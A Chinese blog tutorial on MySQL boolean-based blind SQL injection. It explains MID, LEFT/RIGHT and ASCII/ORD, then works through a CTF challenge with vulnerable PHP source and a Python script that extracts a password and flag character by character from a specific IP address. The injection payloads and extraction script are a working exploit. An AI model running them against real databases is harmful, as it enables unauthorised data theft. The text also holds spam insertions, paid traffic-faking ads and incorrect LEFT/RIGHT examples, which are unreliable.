MySQL盲注:基于布尔型注入3种方法

建议大家看此篇内容前,请先去看一下“MySQL盲注:基于时间延迟注入9种方法彩米彩票”,因为MySQL布尔型盲注需要用的函数还需要和其它函数一起配合才能真正的有效果。

 

MySQL盲注相关函数:截取函数、mid函数、ASCII码函数。

 

一、布尔型盲注:MID函数

语法:

MID(column_name,start[,length])

 

参数描述:

彩米彩票column_name:必需,要提取字符的字段。

start:必需,规定开始位置(起始值是1)。

length:可选,要返回的字符数,如果省略,刚MID()函数返回剩余文本。

 

示例:

select mid('abcde',3,1);

select mid('abcde' from 3 for 1);

 

二、布尔型盲注:截取函数

彩米彩票left( str, length) 从左开始截取字符串

说明:left(被截取字段,截取长度)

 

right(str, length) 从右开始截取字符串

说明:right(被截取字段,截取长度)

 

示例:

select left('abcde',3,1);
select right('abcde',3,1);

 

三、布尔型盲注:ASCII码函数

ORD()函数

ASCII()函数

 

彩米彩票返回第一个字符的ASCII码。

 

示例:

select ord('abcde');
select ascii('a');

 

CTF布尔型盲注

最后,我再给大家分享一个关于CTF布尔型盲注的例题;

彩米彩票这里主要就是让大家能够看懂源代码,要学会代码审计。只有明白了代码中的逻辑,才知道如何正确绕过?从而得到flag。

 

106.12.37.37:8080/level2/index.php.bak源代码如下:

<?php
error_reporting(0);
$token="e00cf25ad42683b3df678c61f42c6bda";
 
foreach($_GET as $key=>$value){ 
    if (is_array($value)){
        die("Bad input!");
    }
    $p="and|union|where|join|sleep|benchmark|if|sleep|benchmark| |\'|\"";
    if(preg_match("/".$p."/is",$value)==1){
        die("inj code!");
    }
}
 
parse_str($_SERVER['QUERY_STRING']);
 
if($token==md5("admin")){
    [email protected]_connect("localhost","x","x");
    mysql_select_db("x",$link);
    $sql="select * from user where userid = ".$userid;
    $query = mysql_query($sql);
    if (mysql_num_rows($query) == 1) { 
        $arr = mysql_fetch_array($query);
        if($arr['password'] == $password) {
            $sql="select * from info where infoid=".$infoid;
            $result=mysql_query($sql);
            $arr = mysql_fetch_array($result);
            if(empty($arr['content'])){
                echo "error sql!";
            }else{
                echo $arr['content'];
            }
        }else{
            echo "error password!";
        }
    }else{
        echo "error userid!";
    }
    mysql_close($link);
}else{
    echo "Bad token!";
}
?>

 

1、python攻击代码,得到密码:

import requests

dicts ='qwertyuiopasdfghjklzxcvbnm0123456789{}[email protected]'
flag = ''
for x in range(1,50):
    for i in dicts:
        url = 'http://106.12.37.37:8080/level2/?token=21232f297a57a5a743894a0e4a801fc3&userid=(ascii(substr((select/**/password/**/from/**/user)/**/from/**/%d/**/for/**/1))=%d)&password=1'%(x,ord(i))
        try:
            response = requests.get(url,timeout = 5)
            #print(url)
            if response.text.find('error password!') != -1:
                flag = flag + i
                print(flag)
                break
        except Exception as e:
            pass
print(flag)

 

彩米彩票第二步:利用得到的密码,再攻击,可以直接浏览器浏览以下网址;

http://106.12.37.37:8080/level2/?token=21232f297a57a5a743894a0e4a801fc3&userid=1&password=219d03ad2d752ad2806ea1de18613158

 

第三步:添加一个infoid,一般有数据的话,默认第一条数据id就是1;

http://106.12.37.37:8080/level2/?token=21232f297a57a5a743894a0e4a801fc3&userid=1&password=219d03ad2d752ad2806ea1de18613158&infoid=1

 

彩米彩票第四步:再查flag,还是用上面的pyhton代码,主要修改地方如下:

url = 'http://106.12.37.37:8080/level2/?token=21232f297a57a5a743894a0e4a801fc3&userid=(ascii(substr((select/**/flag/**/from/**/flag)/**/from/**/%d/**/for/**/1))=%d)&password=1'%(x,ord(i))
    A+
发布日期:2019年09月17日 16:42:43  所属分类:渗透测试
最后更新时间:2019-09-17 18:26:11
评分: (1 票;平均数5.00 ;最高评分 5 ;用户总数1;总得分 5;百分比100.00)
付杰
PHP运行环境 wamp lamp lnmp 安装 配置 搭建
PHP运行环境 wamp lamp lnmp 安装 配置 搭建
  • ¥ 9.9元
  • 市场价:49.9元
免费SSL证书 HTTPS申请 安装 配置 支持通配符*
免费SSL证书 HTTPS申请 安装 配置 支持通配符*
  • ¥ 199.9元
  • 市场价:20000元
刷流量 刷人气 刷点击 刷收藏 刷APP关键词
刷流量 刷人气 刷点击 刷收藏 刷APP关键词
  • ¥ 1.0元
  • 市场价:9.9元
花牛苹果 甘肃天水 李宏恩家自种 1斤 包邮
花牛苹果 甘肃天水 李宏恩家自种 1斤 包邮
  • ¥ 6.8元
  • 市场价:8.8元

发表评论